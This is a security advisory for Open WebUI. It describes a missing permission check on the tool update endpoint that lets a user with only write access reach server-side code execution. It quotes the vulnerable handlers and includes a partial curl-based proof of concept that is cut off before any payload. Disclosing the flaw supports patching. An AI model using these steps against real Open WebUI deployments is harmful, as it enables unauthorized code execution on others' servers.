GitHub Advisoryadvisory · npm
GHSA-p4fx-23fq-jfg6 Open WebUI: Missing `workspace.tools` Authorization Check on Tool Update Endpoint Allows Privilege Escalation to Code Execution
HIGH
Official page ↗
- Aliases
- CVE-2026-45395
- Ecosystem
- npm
- Packages
- open-webui
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-269, CWE-862
- Reviewed
- 2026-05-14
Affected packages
• npm open-webui: < 0.9.5 → fixed in 0.9.5
Description
Summary
The tool update endpoint (`POST /api/v1/tools/id/{id}/update`) is missing the `workspace.tools` permission check that is present on the tool create endpoint. This allows a user who has been explicitly denied tool management capabilities ( and who the administrator considers untrusted for code execution ) to replace a tool's server-side Python content and trigger execution, bypassing the intended `workspace.tools` security boundary.
Open WebUI's security policy correctly states that `workspace.tools` is the trust boundary for code execution: *"Granting a user the ability to create Tools is equivalent to giving them shell access to the server."* This vulnerability breaks that boundary. A `write` access grant on a single tool is sufficient to bypass `workspace.tools` entirely.
This is not a report about exec() being unsandboxed (that is acknowledged as intended behavior). This is a report about a missing authorization check that allows an untrusted user to reach the exec() sink that should be gated behind `workspace.tools`.
Root Cause
The create and update endpoints for tools have asymmetric authorization checks. The create endpoint enforces the `workspace.tools` permission; the update endpoint does not.
Create endpoint, enforces `workspace.tools`
File: `backend/open_webui/routers/tools.py`, lines 326-345
```python
@router.post('/create', response_model=Optional[ToolResponse])
async def create_new_tools(
request: Request,
form_data: ToolForm,
user=Depends(get_verified_user),
db: AsyncSession = Depends(get_async_session),
):
if user.role != 'admin' and not (
await has_permission(
user.id, 'workspace.tools', # ← CHECKED
request.app.state.config.USER_PERMISSIONS, db=db
)
or await has_permission(
user.id, 'workspace.tools_import', # ← CHECKED
request.app.state.config.USER_PERMISSIONS, db=db
)
):
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.UNAUTHORIZED,
)
# ... proceeds to exec(content, ...) at line 367
```
Update endpoint does NOT enforce `workspace.tools`
File: `backend/open_webui/routers/tools.py`, lines 451-485
```python
@router.post('/id/{id}/update', response_model=Optional[ToolModel])
async def update_tools_by_id(
request: Request,
id: str,
form_data: ToolForm,
user=Depends(get_verified_user),
db: AsyncSession = Depends(get_async_session),
):
tools = await Tools.get_tool_by_id(id, db=db)
# ...
if (
tools.user_id != user.id
and not await AccessGrants.has_access(
user_id=user.id,
resource_type='tool',
resource_id=tools.id,
permission='write', # ← only checks write grant
db=db,
)
and user.role != 'admin'
):
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.UNAUTHORIZED,
)
# NOTE: No has_permission(user.id, 'workspace.tools', ...) check
# ... proceeds to exec(content, ...) at line 485
tool_module, frontmatter = await load_tool_module_by_id(id, content=form_data.content)
```
The `write` access grant is a collaboration primitive used across the application (knowledge bases, prompts, models, tools) for content editing. On every other resource type, a `write` grant allows editing metadata and content. On tools specifically, because the update endpoint triggers `exec()`, a `write` grant silently escalates to code execution but only because the `workspace.tools` check is missing. If the check were present (as it is on create), the `write` grant would not confer execution privilege.
Prerequisites
1. Attacker (Bob): A regular user account with no `workspace.tools` permission. `workspace.tools` is disabled by default (`config.py:1364-1366`), so this is the default state for all non-admin users.
2. Collaborator (Alice): A user with `workspace.tools` permission who creates a tool and grants `write` access to Bob. This is a normal collaboration workflow Alice is sharing editing access, not granting code execution rights.
3. No admin action required beyond the initial `workspace.tools` grant to Alice (which is the intended, documented workflow).
Note on default configuration: The `workspace.tools` permission defaults to `false`. An administrator must explicitly enable it for at least one user (Alice). This is a documented, recommended workflow the security policy explicitly describes granting `workspace.tools` to trusted users. The vulnerability is not that Alice has this permission; it is that Bob can bypass it.
Proof of Concept
Environment
```bash
docker run -d -p 3000:8080 --name open-webui ghcr.io/open-webui/open-webui:main
```
Default configuration. Admin creates an account, enables `workspace.tools` for trusted users via Admin Panel > Settings > User Permissions.
Step-by-step reproduction
Step 1 Setup users
Create two non-admin users: Alice (trusted, will get `workspace.tools`) and Bob (untrusted, will NOT get `workspace.tools`).
```bash
ADMIN_TOKEN=""
BASE="http://localhost:3000"
Create Alice
ALICE=$(curl -s -X POST "$BASE/api/v1/auths/add" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"alice","email":"[email protected]","password":"alice123","role":"user"}')
ALICE_TOKEN=$(echo $ALICE | jq -r .token)
ALICE_ID=$(echo $ALICE | jq -r .id)
Create Bob
BOB=$(curl -s -X POST "$BASE/api/v1/auths/add" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"bob","email":"[email protected]","password":"bob12345","role":"user"}')
BOB_TOKEN=$(echo $BOB | jq -r .token)
BOB_ID=$(echo $BOB | jq -r .id)
```
Step 2 Admin enables `workspace.tools` globally
This is the documented workflow for allowing trusted users to build tools.
```bash
Get current permissions
PERMS=$(curl -s "$BASE/api/v1/users/default/permissions" \
-H "Authorization: Bearer $ADMIN_TOKEN")
Enable workspace.tools
PERMS=$(echo $PERMS | jq '.workspace.tools = true')
curl -s -X POST "$BASE/api/v1/users/default/permissions" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d "$PERMS"
```
Step 3 Alice creates a benign tool
```bash
curl -s -X POST "$BASE/api/v1/tools/create" \
-H "Authorization: Bearer $ALICE_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"id": "helper_tool",
"name": "Helper Tool",
"content": "class Tools:\n def hello(self):\n return \"Hello\"\n",
"meta": {"description": "A benign helper", "manifest": {}}
}'
```
Step 4 Alice grants write access to Bob (collaboration)
Alice wants Bob to be able to edit the tool's description or parameters. This is a standard collaboration feature.
```bash
curl -s -X POST "$BASE/api/v1/tools/id/helper_tool/access/update" \
-H "Authorization: Bearer $ALICE_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"access_grants\": [
{\"principal_type\": \"user\", \"principal_id\": \"$BOB_ID\", \"permission\": \"write\"}
]}"
```
Step 5 Admin disables `workspace.tools`
Admin revokes the global permission. Now neither Alice nor Bob (nor any non-admin) should be able to execute code via tools.
```bash
PERMS=$(echo $PERMS | jq '.workspace.tools = false')
curl -s -X POST "$BASE/api/v1/users/default/permissions" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d "$PERMS"
```
Step 6 Verify Bob CANNOT create tools
```bash
curl -s -X POST "$BASE/api/v1/tools/create" \
-H "Authorization: Bearer $BOB_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"id": "bob_test",
"name": "Test",
"content": "class Tools: pass",
"meta": {"description": …
Related
Alias · CVE (1)
- CVE-2026-45395 Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. vulnerability